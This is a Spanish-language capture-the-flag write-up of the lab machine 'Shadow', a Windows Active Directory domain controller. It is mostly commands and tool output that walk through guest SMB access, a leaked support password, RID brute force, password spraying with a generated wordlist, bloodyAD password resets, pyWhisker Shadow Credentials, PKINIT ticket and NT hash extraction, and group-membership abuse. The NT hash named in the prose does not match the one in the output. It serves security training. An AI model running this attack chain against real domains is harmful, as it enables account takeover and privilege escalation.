> For the complete documentation index, see [llms.txt](https://rodgar.gitbook.io/rodgar/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://rodgar.gitbook.io/rodgar/plataformas/the-hackers-labs/the-hacker-labs-shadow.md).

# The Hacker Labs Shadow

De entrada observamos los puertos abiertos.

```javascript
❯ sudo nmap -sS -Pn -n -vvv --open --min-rate 5000 192.168.1.240 -oG port

PORT     STATE SERVICE          REASON
53/tcp   open  domain           syn-ack ttl 128
88/tcp   open  kerberos-sec     syn-ack ttl 128
135/tcp  open  msrpc            syn-ack ttl 128
139/tcp  open  netbios-ssn      syn-ack ttl 128
389/tcp  open  ldap             syn-ack ttl 128
445/tcp  open  microsoft-ds     syn-ack ttl 128
464/tcp  open  kpasswd5         syn-ack ttl 128
593/tcp  open  http-rpc-epmap   syn-ack ttl 128
636/tcp  open  ldapssl          syn-ack ttl 128
3268/tcp open  globalcatLDAP    syn-ack ttl 128
3269/tcp open  globalcatLDAPssl syn-ack ttl 128
5985/tcp open  wsman            syn-ack ttl 128
MAC Address: 00:0C:29:B2:F0:C5 (VMware)
```

Observamos las versiones y servicios que corren para cada uno de los puertos.

```js
❯ nmap -Pn -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985 192.168.1.240 -oN target
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-24 13:19 CEST
Nmap scan report for 192.168.1.240
Host is up (0.0019s latency).

PORT     STATE SERVICE      VERSION
53/tcp   open  domain       Simple DNS Plus
88/tcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2026-06-24 11:19:48Z)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: shadow.thl, Site: Default-First-Site-Name)
|_ssl-date: 2026-06-24T11:21:06+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=Seerver.shadow.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:Seerver.shadow.thl
| Not valid before: 2026-06-21T22:08:16
|_Not valid after:  2027-06-21T22:08:16
445/tcp  open  microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds (workgroup: SHADOW)
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap     Microsoft Windows Active Directory LDAP (Domain: shadow.thl, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=Seerver.shadow.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:Seerver.shadow.thl
| Not valid before: 2026-06-21T22:08:16
|_Not valid after:  2027-06-21T22:08:16
|_ssl-date: 2026-06-24T11:21:06+00:00; -1s from scanner time.
3268/tcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: shadow.thl, Site: Default-First-Site-Name)
|_ssl-date: 2026-06-24T11:21:06+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=Seerver.shadow.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:Seerver.shadow.thl
| Not valid before: 2026-06-21T22:08:16
|_Not valid after:  2027-06-21T22:08:16
3269/tcp open  ssl/ldap     Microsoft Windows Active Directory LDAP (Domain: shadow.thl, Site: Default-First-Site-Name)
|_ssl-date: 2026-06-24T11:21:06+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=Seerver.shadow.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:Seerver.shadow.thl
| Not valid before: 2026-06-21T22:08:16
|_Not valid after:  2027-06-21T22:08:16
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: SEERVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-06-24T11:20:27
|_  start_date: 2026-06-24T11:16:04
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 59m59s, deviation: 2h38m45s, median: -1s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
|_nbstat: NetBIOS name: SEERVER, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:b2:f0:c5 (VMware)
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
|   Computer name: Seerver
|   NetBIOS computer name: SEERVER\x00
|   Domain name: shadow.thl
|   Forest name: shadow.thl
|   FQDN: Seerver.shadow.thl
|_  System time: 2026-06-24T04:20:27-07:00
```

***

### NXC

Durante la enumeración SMB identifiqué que el servidor permitía acceso con la cuenta **Guest** sin contraseña y encontré el recurso compartido **Incidents** con permisos de lectura.

```js
❯ nxc smb 192.168.1.240 -u 'guest' -p '' --shares
SMB         192.168.1.240   445    SEERVER          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:SEERVER) (domain:shadow.thl) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         192.168.1.240   445    SEERVER          [+] shadow.thl\guest: 
SMB         192.168.1.240   445    SEERVER          [*] Enumerated shares
SMB         192.168.1.240   445    SEERVER          Share           Permissions     Remark
SMB         192.168.1.240   445    SEERVER          -----           -----------     ------
SMB         192.168.1.240   445    SEERVER          ADMIN$                          Remote Admin
SMB         192.168.1.240   445    SEERVER          C$                              Default share
SMB         192.168.1.240   445    SEERVER          DataRecovery                    
SMB         192.168.1.240   445    SEERVER          Incidents       READ            
SMB         192.168.1.240   445    SEERVER          IPC$            READ            Remote IPC
SMB         192.168.1.240   445    SEERVER          NETLOGON                        Logon server share 
SMB         192.168.1.240   445    SEERVER          SYSVOL                          Logon server share 
```

***

### SMB

Tras acceder al recurso compartido **Incidents** con la cuenta Guest, encontré el archivo **Support.txt**, el cual pude listar y descargar para analizar su contenido en busca de información.

```rust
❯ smbclient //192.168.1.240/Incidents -U guest
Password for [WORKGROUP\guest]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Jun 18 01:19:47 2026
  ..                                  D        0  Thu Jun 18 01:19:47 2026
  Support.txt                         A     1134  Thu Jun 18 18:49:29 2026

		15583487 blocks of size 4096. 12198713 blocks available
smb: \> get Support.txt 
getting file \Support.txt of size 1134 as Support.txt (30,8 KiloBytes/sec) (average 30,8 KiloBytes/sec)
smb: \> 
```

***

El archivo **Support.txt** encontrado en el recurso compartido **Incidents**, identifiqué una transcripción de una llamada entre un empleado y el departamento de soporte técnico. En ella se revelaba la contraseña temporal de Active Directory del usuario **<shadow@shadow.th>**

```
IT: Hello, IT Support. Who am I speaking with?
Employee: Hi, this is Shadow.
IT: Perfect, Shadow. I'm reviewing your password reset request. Could you please confirm your corporate username?
Employee: Yes, shadow@shadow.thl.
IT: Thank you. To verify your identity, can you confirm your department or internal extension?
Employee: Security Department, extension 3107.
IT: Perfect, that matches our records. I�m going to proceed with resetting your Active Directory password for the shadow.thl domain.
(pause while the password is being reset)
IT: Done, Shadow. I�ve generated your temporary password.
Employee: What�s the new password?
IT: Your temporary password is:
)*7UbH5\,:K(91lD9W0RN+e
I recommend logging in as soon as possible and changing it immediately to a new password that only you know.
Employee: Understood.
IT: Perfect. Please remember that this is a temporary password for the shadow.thl domain and it may expire if you do not change it shortly. If you experience any issues, plea
se contact IT Support.
Employee: Alright, thank you.
IT: You�re welcome. Have a great day.
```

***

### NXC

Mediante **RID brute force** sobre SMB con la cuenta Guest, enumeré usuarios y grupos del dominio **shadow\.thl**, identificando cuentas relevantes como **ITSupport, secadmin, svc\_backup y Shadow**, lo que amplía la superficie de ataque

```mjs
❯ nxc smb 192.168.1.240 -u 'guest' -p '' --rid-brute
SMB         192.168.1.240   445    SEERVER          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:SEERVER) (domain:shadow.thl) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         192.168.1.240   445    SEERVER          [+] shadow.thl\guest: 
SMB         192.168.1.240   445    SEERVER          498: SHADOW\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         192.168.1.240   445    SEERVER          500: SHADOW\Administrator (SidTypeUser)
SMB         192.168.1.240   445    SEERVER          501: SHADOW\Guest (SidTypeUser)
SMB         192.168.1.240   445    SEERVER          502: SHADOW\krbtgt (SidTypeUser)
SMB         192.168.1.240   445    SEERVER          503: SHADOW\DefaultAccount (SidTypeUser)
SMB         192.168.1.240   445    SEERVER          512: SHADOW\Domain Admins (SidTypeGroup)
SMB         192.168.1.240   445    SEERVER          513: SHADOW\Domain Users (SidTypeGroup)
SMB         192.168.1.240   445    SEERVER          514: SHADOW\Domain Guests (SidTypeGroup)
SMB         192.168.1.240   445    SEERVER          515: SHADOW\Domain Computers (SidTypeGroup)
SMB         192.168.1.240   445    SEERVER          516: SHADOW\Domain Controllers (SidTypeGroup)
SMB         192.168.1.240   445    SEERVER          517: SHADOW\Cert Publishers (SidTypeAlias)
SMB         192.168.1.240   445    SEERVER          518: SHADOW\Schema Admins (SidTypeGroup)
SMB         192.168.1.240   445    SEERVER          519: SHADOW\Enterprise Admins (SidTypeGroup)
SMB         192.168.1.240   445    SEERVER          520: SHADOW\Group Policy Creator Owners (SidTypeGroup)
SMB         192.168.1.240   445    SEERVER          521: SHADOW\Read-only Domain Controllers (SidTypeGroup)
SMB         192.168.1.240   445    SEERVER          522: SHADOW\Cloneable Domain Controllers (SidTypeGroup)
SMB         192.168.1.240   445    SEERVER          525: SHADOW\Protected Users (SidTypeGroup)
SMB         192.168.1.240   445    SEERVER          526: SHADOW\Key Admins (SidTypeGroup)
SMB         192.168.1.240   445    SEERVER          527: SHADOW\Enterprise Key Admins (SidTypeGroup)
SMB         192.168.1.240   445    SEERVER          553: SHADOW\RAS and IAS Servers (SidTypeAlias)
SMB         192.168.1.240   445    SEERVER          571: SHADOW\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         192.168.1.240   445    SEERVER          572: SHADOW\Denied RODC Password Replication Group (SidTypeAlias)
SMB         192.168.1.240   445    SEERVER          1000: SHADOW\SEERVER$ (SidTypeUser)
SMB         192.168.1.240   445    SEERVER          1101: SHADOW\DnsAdmins (SidTypeAlias)
SMB         192.168.1.240   445    SEERVER          1102: SHADOW\DnsUpdateProxy (SidTypeGroup)
SMB         192.168.1.240   445    SEERVER          1109: SHADOW\helpdesk (SidTypeUser)
SMB         192.168.1.240   445    SEERVER          1110: SHADOW\ITSupport (SidTypeUser)
SMB         192.168.1.240   445    SEERVER          1111: SHADOW\svc_backup (SidTypeUser)
SMB         192.168.1.240   445    SEERVER          1112: SHADOW\auditmgr (SidTypeUser)
SMB         192.168.1.240   445    SEERVER          1114: SHADOW\SecurityTeam (SidTypeUser)
SMB         192.168.1.240   445    SEERVER          1115: SHADOW\secadmin (SidTypeUser)
SMB         192.168.1.240   445    SEERVER          1116: SHADOW\infraadmin (SidTypeUser)
SMB         192.168.1.240   445    SEERVER          1118: SHADOW\ClientServices (SidTypeGroup)
SMB         192.168.1.240   445    SEERVER          1119: SHADOW\InfrastructureServices (SidTypeGroup)
SMB         192.168.1.240   445    SEERVER          1120: SHADOW\jsmith (SidTypeUser)
SMB         192.168.1.240   445    SEERVER          1121: SHADOW\BackupServices (SidTypeGroup)
SMB         192.168.1.240   445    SEERVER          1122: SHADOW\DataRecovery (SidTypeGroup)
SMB         192.168.1.240   445    SEERVER          1123: SHADOW\RiskManagement (SidTypeGroup)
SMB         192.168.1.240   445    SEERVER          1124: SHADOW\BlueTeam (SidTypeGroup)
SMB         192.168.1.240   445    SEERVER          1125: SHADOW\PlatformEngineering (SidTypeGroup)
SMB         192.168.1.240   445    SEERVER          1126: SHADOW\CloudInfrastructure (SidTypeGroup)
SMB         192.168.1.240   445    SEERVER          1601: SHADOW\Shadow (SidTypeUser)
```

***

> Con las credenciales obtenidas previamente, realicé un ataque de validación contra SMB para distintos usuarios del dominio y confirmé que la contraseña era válida únicamente para el usuario **Shadow**, obteniendo así acceso autenticado al sistema con ese usuario.

```cjs
❯ nxc smb 192.168.1.240 -u users -p Credentials
SMB         192.168.1.240   445    SEERVER          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:SEERVER) (domain:shadow.thl) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         192.168.1.240   445    SEERVER          [-] shadow.thl\Administrator:)*7UbH5\,:K(91lD9W0RN+e STATUS_LOGON_FAILURE 
SMB         192.168.1.240   445    SEERVER          [-] shadow.thl\Guest:)*7UbH5\,:K(91lD9W0RN+e STATUS_LOGON_FAILURE 
SMB         192.168.1.240   445    SEERVER          [-] shadow.thl\krbtgt:)*7UbH5\,:K(91lD9W0RN+e STATUS_LOGON_FAILURE 
SMB         192.168.1.240   445    SEERVER          [-] shadow.thl\DefaultAccount:)*7UbH5\,:K(91lD9W0RN+e STATUS_LOGON_FAILURE 
SMB         192.168.1.240   445    SEERVER          [-] shadow.thl\SEERVER$:)*7UbH5\,:K(91lD9W0RN+e STATUS_LOGON_FAILURE 
SMB         192.168.1.240   445    SEERVER          [-] shadow.thl\helpdesk:)*7UbH5\,:K(91lD9W0RN+e STATUS_LOGON_FAILURE 
SMB         192.168.1.240   445    SEERVER          [-] shadow.thl\ITSupport:)*7UbH5\,:K(91lD9W0RN+e STATUS_LOGON_FAILURE 
SMB         192.168.1.240   445    SEERVER          [-] shadow.thl\svc_backup:)*7UbH5\,:K(91lD9W0RN+e STATUS_LOGON_FAILURE 
SMB         192.168.1.240   445    SEERVER          [-] shadow.thl\auditmgr:)*7UbH5\,:K(91lD9W0RN+e STATUS_LOGON_FAILURE 
SMB         192.168.1.240   445    SEERVER          [-] shadow.thl\SecurityTeam:)*7UbH5\,:K(91lD9W0RN+e STATUS_LOGON_FAILURE 
SMB         192.168.1.240   445    SEERVER          [-] shadow.thl\secadmin:)*7UbH5\,:K(91lD9W0RN+e STATUS_LOGON_FAILURE 
SMB         192.168.1.240   445    SEERVER          [-] shadow.thl\infraadmin:)*7UbH5\,:K(91lD9W0RN+e STATUS_LOGON_FAILURE 
SMB         192.168.1.240   445    SEERVER          [-] shadow.thl\jsmith:)*7UbH5\,:K(91lD9W0RN+e STATUS_LOGON_FAILURE 
SMB         192.168.1.240   445    SEERVER          [+] shadow.thl\Shadow:)*7UbH5\,:K(91lD9W0RN+e 
```

***

### BloodHound

> Con el usuario **Shadow** y la contraseña obtenida, ejecuté una enumeración con **BloodHound** para mapear el Active Directory. Se recolectó información completa del entorno (usuarios, grupos, GPOs, OUs y equipos),

```cjs
❯ bloodhound-python -u 'Shadow' -p ')*7UbH5\,:K(91lD9W0RN+e' -c All --zip -ns 192.168.1.240 -d shadow.thl
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: shadow.thl
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (Seerver.shadow.thl:88)] [Errno 113] No route to host
INFO: Connecting to LDAP server: Seerver.shadow.thl
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: Seerver.shadow.thl
INFO: Found 14 users
INFO: Found 61 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: Seerver.shadow.thl
INFO: User guest is logged in on Seerver.shadow.thl from 192.168.1.145
WARNING: Could not resolve hostname to SID: 192.168.1.145
INFO: Done in 00M 01S
INFO: Compressing output into 20260624132557_bloodhound.zip
```

***

El usuario **SHADOW** tiene el permiso **GenericAll** sobre **SECADMIN**, lo que equivale a **control total** sobre esa cuenta dentro del Active Directory.

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FkSrtTC8DESyOzLagcgj8%2F1.png?alt=media&amp;token=3445931d-14bd-4c50-a173-6bee6054796d" alt=""><figcaption></figcaption></figure>

Aproveché el permiso **GenericAll de SHADOW sobre SECADMIN** para resetear su contraseña correctamente, obteniendo acceso a una cuenta más privilegiada dentro del dominio.

```js
❯ bloodyAD --host "192.168.1.240" -d "shadow.thl" -u "SHADOW" -p ")*7UbH5\,:K(91lD9W0RN+e" set password "SECADMIN" "Password@1998"
[+] Password changed successfully!
```

***

### Comprobacion

Autenticación SMB exitosa con el usuario **SECADMIN**, confirmando que la contraseña reseteada es válida.

```javascript
❯ nxc smb 192.168.1.240 -u 'SECADMIN' -p 'Password@1998'
SMB         192.168.1.240   445    SEERVER          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:SEERVER) (domain:shadow.thl) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         192.168.1.240   445    SEERVER          [+] shadow.thl\SECADMIN:Password@1998 
```

***

La cuenta **SECADMIN** tiene permisos para cambiar la contraseña de **SVC\_BACKUP** sin conocer la contraseña actual. Esto permite tomar control de la cuenta **SVC\_BACKUP** y acceder con sus privilegios.

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2F6dcI8uVTVL9piCaZPVS3%2F2.png?alt=media&amp;token=18c9ced8-32ca-4ef2-8df6-eed8e36c6a81" alt=""><figcaption></figcaption></figure>

Utilicé las credenciales de **SECADMIN** para cambiar la contraseña de la cuenta **SVC\_BACKUP** mediante la herramienta BloodyAD

```mjs
❯ bloodyAD --host "192.168.1.240" -d "shadow.thl" -u "SECADMIN" -p "Password@1998" set password "SVC_BACKUP" "Rodgar2510@"
[+] Password changed successfully!
```

### NXC

Se validaron las credenciales de la cuenta **SVC\_BACKUP** contra el servicio SMB del servidor. La autenticación fue exitosa, confirmando que el cambio de contraseña funcionó correctamente.

```js
❯ nxc smb 192.168.1.240 -u 'SVC_BACKUP' -p 'Rodgar2510@'
SMB         192.168.1.240   445    SEERVER          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:SEERVER) (domain:shadow.thl) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         192.168.1.240   445    SEERVER          [+] shadow.thl\SVC_BACKUP:Rodgar2510@ 
```

***

Observando los archivos compartidos se identificaron varios shares accesibles, destacando **DataRecovery (READ)**, además de los típicos de dominio como **NETLOGON** y **SYSVOL**,

```abap
❯ nxc smb 192.168.1.240 -u 'SVC_BACKUP' -p 'Rodgar2510@' --shares
SMB         192.168.1.240   445    SEERVER          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:SEERVER) (domain:shadow.thl) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         192.168.1.240   445    SEERVER          [+] shadow.thl\SVC_BACKUP:Rodgar2510@ 
SMB         192.168.1.240   445    SEERVER          [*] Enumerated shares
SMB         192.168.1.240   445    SEERVER          Share           Permissions     Remark
SMB         192.168.1.240   445    SEERVER          -----           -----------     ------
SMB         192.168.1.240   445    SEERVER          ADMIN$                          Remote Admin
SMB         192.168.1.240   445    SEERVER          C$                              Default share
SMB         192.168.1.240   445    SEERVER          DataRecovery    READ            
SMB         192.168.1.240   445    SEERVER          Incidents                       
SMB         192.168.1.240   445    SEERVER          IPC$            READ            Remote IPC
SMB         192.168.1.240   445    SEERVER          NETLOGON        READ            Logon server share 
SMB         192.168.1.240   445    SEERVER          SYSVOL          READ            Logon server share 
```

***

### SMBCLIENT

Accedí al recurso compartido **DataRecovery** utilizando la cuenta **SVC\_BACKUP** y enumeré su contenido.

Dentro del directorio encontré un archivo PDF llamado **“Red Team Internal Report 2026.pdf”**, el cual descargué localmente para su análisis.

```rust
❯ smbclient //192.168.1.240/DataRecovery -U SVC_BACKUP
Password for [WORKGROUP\SVC_BACKUP]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Jun 18 20:03:40 2026
  ..                                  D        0  Thu Jun 18 20:03:40 2026
  Red Team Internal Report 2026.pdf      A    20019  Thu Jun 18 19:59:37 2026

		15583487 blocks of size 4096. 12192109 blocks available
smb: \> mget *.pdf
Get file Red Team Internal Report 2026.pdf? Y
getting file \Red Team Internal Report 2026.pdf of size 20019 as Red Team Internal Report 2026.pdf (630,6 KiloBytes/sec) (average 630,6 KiloBytes/sec)
smb: \> 
```

**Informe Interno de Red Team 2026 – SHADOWS.THL**

Durante la simulación de adversario se detectaron debilidades en la gestión de contraseñas que aumentan el riesgo de acceso no autorizado, afectando la confidencialidad e integridad de los sistemas. Las políticas actuales no son suficientes para mitigar ataques como fuerza bruta o password spraying.

Se identificaron contraseñas basadas en patrones predecibles como el nombre de la organización, estaciones del año y años recientes (ej. “Shadow2025!”, “Password123!”), lo que incrementa el riesgo de compromiso masivo de cuentas.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FUcpvvwkOisgaYaKluZWx%2F3.png?alt=media&amp;token=34bb5340-1aaa-4e22-905e-da895fd1bfbd" alt=""><figcaption></figcaption></figure>

OK teniendo el anterior informe podemos crear una lista de palabras en python3, el script toma una lista de contraseñas base y primero reemplaza cualquier año antiguo (2024 o 2025) por 2026 para normalizarlas.&#x20;

Al final los símbolos típicos de Active Directory (!, @, #), incluyendo también la versión con “!” por defecto.

```python
base_passwords = [
    "Shadow2025!",
    "Shadows.Thl2024!",
    "Verano2025!",
    "Password123!"
]
year_old = ["2024", "2025"]
year_new = "2026"
specials = ["!", "@", "#"]
def update_year(pw):
    for y in year_old:
        pw = pw.replace(y, year_new)
    return pw
wordlist = set()
for pw in base_passwords:
    # 1. actualizar año primero
    base = update_year(pw)
    # limpiar posibles símbolos antiguos duplicados al final
    if base.endswith(("!", "@", "#")):
        base = base[:-1]
    variants = set()
    # 2. base normalizada
    variants.add(base)
    # 3. añadir sufijos AD
    for s in specials:
        variants.add(base + s)
    # 4. asegurar formato típico "Shadow2026!"
    variants.add(base + "!")
    wordlist.update(variants)
for w in sorted(wordlist):
    print(w)
```

El script reemplaza los años 2024/2025 por 2026 en las contraseñas base y luego genera variantes añadiendo al final los símbolos `!`, `@` y `#`, además de mantener una versión sin símbolo. El resultado es una wordlist simple y realista basada en patrones típicos de Active Directory.

```rs
❯ python3 wordlist.py

Password123
Password123!
Password123#
Password123@
Shadow2026
Shadow2026!
Shadow2026#
Shadow2026@
Shadows.Thl2026
Shadows.Thl2026!
Shadows.Thl2026#
Shadows.Thl2026@
Verano2026
Verano2026!
Verano2026#
Verano2026@
```

***

Ok recordemos que ya tenemos una lista de usuarios que ahora vamos ah correrla con esta nueva lista de contraseñas.

***

### NXC

El resultado muestra que el ataque de password spraying basado en patrones fue exitoso, ya que la cuenta `helpdesk` acepta la contraseña `Shadows.Thl2026@.`

```ps
❯ nxc smb 192.168.1.240 -u users -p PassInforme | grep -F '[+]'
SMB                      192.168.1.240   445    SEERVER          [+] shadow.thl\helpdesk:Shadows.Thl2026@ 
```

Confirmado&#x20;

```js
❯ nxc smb 192.168.1.236 -u 'helpdesk' -p 'Shadows.Thl2026@'
SMB         192.168.1.236   445    SEERVER          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:SEERVER) (domain:shadow.thl) (signing:True) (SMBv1:True) (Null Auth:True)
SMB         192.168.1.236   445    SEERVER          [+] shadow.thl\helpdesk:Shadows.Thl2026@ 
```

***

Tras obtener acceso al usuario `helpdesk` con la contraseña válida, lo que permitió pivotar desde una cuenta de bajo privilegio dentro del entorno.

A partir de este punto, la enumeración de permisos sobre objetos del directorio reveló que `HELPDESK@SHADOW.THL` posee permisos de escritura genérica sobre el usuario `AUDITMGR@SHADOW.THL`, lo que abre la posibilidad de modificar atributos sensibles de dicha cuenta.

Posteriormente, se identificó que `AUDITMGR` tiene la capacidad delegada de añadirse a sí mismo al grupo `PLATFORMENGINEERING`, un grupo de seguridad con privilegios elevados dentro del dominio.

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2Fnevgf78VImyni78XQ1Mg%2F4.png?alt=media&amp;token=aa934b7e-a316-4bac-b774-ff94e9e448a5" alt=""><figcaption></figcaption></figure>

El usuario `HELPDESK` disponía de permisos **GenericWrite** sobre la cuenta `AUDITMGR`, lo que permitió realizar un ataque de **Shadow Credentials**. Mediante `pyWhisker`, añadí una credencial basada en certificado al atributo `msDS-KeyCredentialLink` de `AUDITMGR`, obteniendo un certificado PFX válido para autenticarme como dicho usuario mediante PKINIT y solicitar un TGT de Kerberos sin conocer su contraseña.

```cjs
❯ python3 pywhisker.py -d shadow.thl -u helpdesk -p 'Shadows.Thl2026@'  --dc-ip 192.168.1.240 -t AUDITMGR --action add
[*] Searching for the target account
[*] Target user found: CN=auditmgr,CN=Users,DC=shadow,DC=thl
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 9589b8f2-a975-a7a3-d1ab-e657f86838d0
[*] Updating the msDS-KeyCredentialLink attribute of AUDITMGR
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Converting PEM -> PFX with cryptography: Tt9kFzWL.pfx
[+] PFX exportiert nach: Tt9kFzWL.pfx
[i] Passwort für PFX: baUq4rPV2gjkjUHx10a8
[+] Saved PFX (#PKCS12) certificate & key at path: Tt9kFzWL.pfx
[*] Must be used with password: baUq4rPV2gjkjUHx10a8
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

❯ ll
.rw-rw-r-- rodgar rodgar  27 B  Wed Jun 24 13:53:45 2026  __init__.py
.rw-rw-r-- rodgar rodgar  54 KB Wed Jun 24 13:53:45 2026  pywhisker.py
.rw-rw-r-- rodgar rodgar 2.4 KB Wed Jun 24 13:54:23 2026  Tt9kFzWL.pfx
.rw-rw-r-- rodgar rodgar 964 B  Wed Jun 24 13:54:23 2026  Tt9kFzWL_cert.pem
.rw-rw-r-- rodgar rodgar 1.7 KB Wed Jun 24 13:54:23 2026  Tt9kFzWL_priv.pem
```

OK . Posteriormente el certificado generado .PFX, ese certificado se utilizó con `gettgtpkinit.py` para autenticarse vía PKINIT contra el controlador de dominio y obtener un TGT de Kerberos para `AUDITMGR`, almacenado en formato `.ccache`, permitiendo suplantar al usuario en el dominio sin necesidad de conocer su contraseña.

```rust
❯ python3 gettgtpkinit.py shadow.thl/AUDITMGR -cert-pfx /home/rodgar/Desktop/THL/shadow/pywhisker/pywhisker/Tt9kFzWL.pfx -pfx-pass baUq4rPV2gjkjUHx10a8 -dc-ip 192.168.1.240 AUDITMGR.ccache
2026-06-24 14:00:42,254 minikerberos INFO     Loading certificate and key from file
2026-06-24 14:00:42,268 minikerberos INFO     Requesting TGT
2026-06-24 14:00:42,282 minikerberos INFO     AS-REP encryption key (you might need this later):
2026-06-24 14:00:42,283 minikerberos INFO     f5832fa0146d61692a6aaed4921d6cdad65c6a6483a56c8ea8d433ae3c5b7c16
2026-06-24 14:00:42,286 minikerberos INFO     Saved TGT to file
❯ ll

.rw-rw-r-- rodgar rodgar 1.4 KB Wed Jun 24 14:00:42 2026  AUDITMGR.ccache
```

Exportamos el .ccache

```
❯ export KRB5CCNAME=AUDITMGR.ccache
```

A partir del TGT obtenido previamente en `AUDITMGR.ccache`, utilicé `getnthash.py` junto con la clave AS-REP derivada para solicitar un ticket hacia el propio usuario y forzar la inclusión del PAC, lo que permitió extraer y recuperar el **NT hash de AUDITMGR** (`debf6e32d54360fc38ba12efb706b4d0`), consiguiendo así credenciales equivalentes a contraseña sin necesidad de autenticación interactiva.

```rs
❯ python3 getnthash.py shadow.thl/AUDITMGR -key f5832fa0146d61692a6aaed4921d6cdad65c6a6483a56c8ea8d433ae3c5b7c16 -dc-ip 192.168.1.240
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
98019215ea3bcb223dacec8fc12a71aa
```

***

Ok en este punto recordemos que  `AUDITMGR` dispone de un permiso de delegación que le permite añadirse a sí mismo al grupo `PLATFORMENGINEERING`

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2Fkjbpn9W7Oz5sz8sLJIFf%2F4.png?alt=media&amp;token=f2222c35-d3fb-4717-96c8-5ac156f60f35" alt=""><figcaption></figcaption></figure>

&#x20;`AUDITMGR` tiene permiso delegado para modificar la membresía del grupo `PLATFORMENGINEERING` y, utilizando `bloodyAD` con autenticación Kerberos (sin necesidad de contraseña gracias al TGT obtenido previamente), añadí directamente a `AUDITMGR` como miembro del grupo, consiguiendo así heredar los privilegios asociados a ese grupo dentro del dominio.

```cjs
❯ bloodyAD -d shadow.thl -u AUDITMGR -k --dc-ip 192.168.1.240 --host SEERVER.shadow.thl  add groupMember PLATFORMENGINEERING AUDITMGR
[+] AUDITMGR added to PLATFORMENGINEERING
```

El grupo `PLATFORMENGINEERING` es miembro del grupo `REMOTE MANAGEMENT USERS`, por lo que al añadir `AUDITMGR` a `PLATFORMENGINEERING` también hereda indirectamente los privilegios de `REMOTE MANAGEMENT USERS`, lo que le permite acceso a capacidades de administración remota dentro del dominio.

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2F5jIhtKjvkAkjp7hbWpPc%2F5.png?alt=media&amp;token=4581df58-161a-43d2-8c50-a228ac3b3587" alt=""><figcaption></figcaption></figure>

***

